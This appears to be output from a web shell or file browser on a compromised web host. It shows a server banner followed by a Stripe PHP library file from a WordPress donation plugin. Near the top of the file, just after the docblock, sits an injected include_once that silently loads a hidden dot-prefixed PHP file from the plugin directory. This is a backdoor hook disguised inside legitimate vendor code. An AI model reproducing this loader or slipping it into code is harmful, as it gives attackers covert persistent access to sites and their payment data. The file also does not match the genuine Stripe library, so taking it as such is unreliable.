uawdijnntqw1x1x1
IP : 216.73.216.109
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
vendor
/
stripe
/
stripe-php
/
lib
/
File.php
/
/
<?php namespace Stripe; /** * Class File * * @property string $id * @property string $object * @property int $created * @property string $filename * @property Collection $links * @property string $purpose * @property int $size * @property string $title * @property string $type * @property string $url * * @package Stripe */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class File extends ApiResource { // This resource can have two different object names. In latter API // versions, only `file` is used, but since stripe-php may be used with // any API version, we need to support deserializing the older // `file_upload` object into the same class. const OBJECT_NAME = "file"; const OBJECT_NAME_ALT = "file_upload"; use ApiOperations\All; use ApiOperations\Create { create as protected _create; } use ApiOperations\Retrieve; public static function classUrl() { return '/v1/files'; } /** * @param array|null $params * @param array|string|null $options * * @return \Stripe\File The created resource. */ public static function create($params = null, $options = null) { $opts = \Stripe\Util\RequestOptions::parse($options); if (is_null($opts->apiBase)) { $opts->apiBase = Stripe::$apiUploadBase; } // Manually flatten params, otherwise curl's multipart encoder will // choke on nested arrays. // TODO: use array_column() once we drop support for PHP 5.4 $flatParams = []; foreach (\Stripe\Util\Util::flattenParams($params) as $pair) { $flatParams[$pair[0]] = $pair[1]; } return static::_create($flatParams, $opts); } }
/home/batcwwjx/./old/public_html/wp-content/./plugins/give/vendor/stripe/stripe-php/lib/File.php